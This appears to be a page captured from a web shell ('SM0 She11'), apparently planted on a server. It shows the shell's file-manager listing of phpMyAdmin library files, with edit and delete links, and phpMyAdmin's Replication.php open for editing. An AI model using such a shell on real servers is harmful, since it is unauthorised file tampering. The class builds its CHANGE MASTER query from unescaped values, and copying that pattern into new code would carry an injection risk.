SM0 She11

Path: / / usr / local / cwpsrv / var / services / pma / libraries / classes

Full Path (server): /usr/local/cwpsrv/var/services/pma/libraries/classes

📄 Advisor.php [E] [D]
📄 Bookmark.php [E] [D]
📄 BrowseForeigners.php [E] [D]
📁 Charsets Open [D]
📄 Charsets.php [E] [D]
📄 CheckUserPrivileges.php [E] [D]
📁 Command Open [D]
📁 Config Open [D]
📄 Config.php [E] [D]
📄 Console.php [E] [D]
📁 Controllers Open [D]
📄 Core.php [E] [D]
📄 CreateAddField.php [E] [D]
📁 Database Open [D]
📄 DatabaseInterface.php [E] [D]
📄 DbTableExists.php [E] [D]
📁 Dbal Open [D]
📁 Display Open [D]
📄 Encoding.php [E] [D]
📁 Engines Open [D]
📄 Error.php [E] [D]
📄 ErrorHandler.php [E] [D]
📄 ErrorReport.php [E] [D]
📁 Exceptions Open [D]
📁 Export Open [D]
📄 Export.php [E] [D]
📄 File.php [E] [D]
📄 FileListing.php [E] [D]
📄 Font.php [E] [D]
📄 Footer.php [E] [D]
📁 Gis Open [D]
📄 Git.php [E] [D]
📄 Header.php [E] [D]
📁 Html Open [D]
📁 Import Open [D]
📄 Import.php [E] [D]
📄 Index.php [E] [D]
📄 IndexColumn.php [E] [D]
📄 InsertEdit.php [E] [D]
📄 InternalRelations.php [E] [D]
📄 IpAllowDeny.php [E] [D]
📄 Language.php [E] [D]
📄 LanguageManager.php [E] [D]
📄 Linter.php [E] [D]
📄 ListAbstract.php [E] [D]
📄 ListDatabase.php [E] [D]
📄 Logging.php [E] [D]
📄 Menu.php [E] [D]
📄 Message.php [E] [D]
📄 Mime.php [E] [D]
📁 Navigation Open [D]
📄 Normalization.php [E] [D]
📄 OpenDocument.php [E] [D]
📄 Operations.php [E] [D]
📄 OutputBuffering.php [E] [D]
📄 ParseAnalyze.php [E] [D]
📄 Partition.php [E] [D]
📄 Pdf.php [E] [D]
📁 Plugins Open [D]
📄 Plugins.php [E] [D]
📄 Profiling.php [E] [D]
📁 Properties Open [D]
📁 Providers Open [D]
📁 Query Open [D]
📄 RecentFavoriteTable.php [E] [D]
📄 Relation.php [E] [D]
📄 RelationCleanup.php [E] [D]
📄 Replication.php [E] [D]
📄 ReplicationGui.php [E] [D]
📄 ReplicationInfo.php [E] [D]
📄 Response.php [E] [D]
📄 Routing.php [E] [D]
📄 Sanitize.php [E] [D]
📄 SavedSearches.php [E] [D]
📄 Scripts.php [E] [D]
📁 Server Open [D]
📄 Session.php [E] [D]
📁 Setup Open [D]
📄 Sql.php [E] [D]
📄 SqlQueryForm.php [E] [D]
📄 StorageEngine.php [E] [D]
📄 SubPartition.php [E] [D]
📄 SystemDatabase.php [E] [D]
📁 Table Open [D]
📄 Table.php [E] [D]
📄 TablePartitionDefinition.php [E] [D]
📄 Template.php [E] [D]
📄 Theme.php [E] [D]
📄 ThemeManager.php [E] [D]
📄 Tracker.php [E] [D]
📄 Tracking.php [E] [D]
📄 Transformations.php [E] [D]
📁 Twig Open [D]
📄 TwoFactor.php [E] [D]
📄 Types.php [E] [D]
📄 Url.php [E] [D]
📄 UserPassword.php [E] [D]
📄 UserPreferences.php [E] [D]
📄 Util.php [E] [D]
📁 Utils Open [D]
📄 Version.php [E] [D]
📄 VersionInformation.php [E] [D]
📄 ZipExtension.php [E] [D]

Editing: Replication.php

<?php
/**
 * Replication helpers
 */

declare(strict_types=1);

namespace PhpMyAdmin;

use function explode;
use function mb_strtoupper;

/**
 * PhpMyAdmin\Replication class
 */
class Replication
{
    /**
     * Extracts database or table name from string
     *
     * @param string $string contains "dbname.tablename"
     * @param string $what   what to extract (db|table)
     *
     * @return string the extracted part
     */
    public function extractDbOrTable($string, $what = 'db')
    {
        $list = explode('.', $string);
        if ($what === 'db') {
            return $list[0];
        }

return $list[1];
    }

/**
     * Configures replication slave
     *
     * @param string      $action  possible values: START or STOP
     * @param string|null $control default: null,
     *                             possible values: SQL_THREAD or IO_THREAD or null.
     *                             If it is set to null, it controls both
     *                             SQL_THREAD and IO_THREAD
     * @param int         $link    mysql link
     *
     * @return mixed|int output of DatabaseInterface::tryQuery
     */
    public function slaveControl(string $action, ?string $control, int $link)
    {
        global $dbi;

$action = mb_strtoupper($action);
        $control = $control !== null ? mb_strtoupper($control) : '';

if ($action !== 'START' && $action !== 'STOP') {
            return -1;
        }
        if ($control !== 'SQL_THREAD' && $control !== 'IO_THREAD' && $control != null) {
            return -1;
        }

return $dbi->tryQuery($action . ' SLAVE ' . $control . ';', $link);
    }

/**
     * Changes master for replication slave
     *
     * @param string $user     replication user on master
     * @param string $password password for the user
     * @param string $host     master's hostname or IP
     * @param int    $port     port, where mysql is running
     * @param array  $pos      position of mysql replication,
     *                         array should contain fields File and Position
     * @param bool   $stop     shall we stop slave?
     * @param bool   $start    shall we start slave?
     * @param int    $link     mysql link
     *
     * @return string output of CHANGE MASTER mysql command
     */
    public function slaveChangeMaster(
        $user,
        $password,
        $host,
        $port,
        array $pos,
        bool $stop,
        bool $start,
        int $link
    ) {
        global $dbi;

if ($stop) {
            $this->slaveControl('STOP', null, $link);
        }

$out = $dbi->tryQuery(
            'CHANGE MASTER TO ' .
            'MASTER_HOST=\'' . $host . '\',' .
            'MASTER_PORT=' . ($port * 1) . ',' .
            'MASTER_USER=\'' . $user . '\',' .
            'MASTER_PASSWORD=\'' . $password . '\',' .
            'MASTER_LOG_FILE=\'' . $pos['File'] . '\',' .
            'MASTER_LOG_POS=' . $pos['Position'] . ';',
            $link
        );

if ($start) {
            $this->slaveControl('START', null, $link);
        }

return $out;
    }

/**
     * This function provides connection to remote mysql server
     *
     * @param string $user     mysql username
     * @param string $password password for the user
     * @param string $host     mysql server's hostname or IP
     * @param int    $port     mysql remote port
     * @param string $socket   path to unix socket
     *
     * @return mixed mysql link on success
     */
    public function connectToMaster(
        $user,
        $password,
        $host = null,
        $port = null,
        $socket = null
    ) {
        global $dbi;

$server = [];
        $server['user'] = $user;
        $server['password'] = $password;
        $server['host'] = Core::sanitizeMySQLHost($host);
        $server['port'] = $port;
        $server['socket'] = $socket;

// 5th parameter set to true means that it's an auxiliary connection
        // and we must not go back to login page if it fails
        return $dbi->connect(DatabaseInterface::CONNECT_AUXILIARY, $server);
    }

/**
     * Fetches position and file of current binary log on master
     *
     * @param int $link mysql link
     *
     * @return array an array containing File and Position in MySQL replication
     * on master server, useful for slaveChangeMaster()
     *
     * @phpstan-return array{'File'?: string, 'Position'?: string}
     */
    public function slaveBinLogMaster(int $link): array
    {
        global $dbi;

$data = $dbi->fetchResult('SHOW MASTER STATUS', null, null, $link);
        $output = [];

if (! empty($data)) {
            $output['File'] = $data[0]['File'];
            $output['Position'] = $data[0]['Position'];
        }

return $output;
    }
}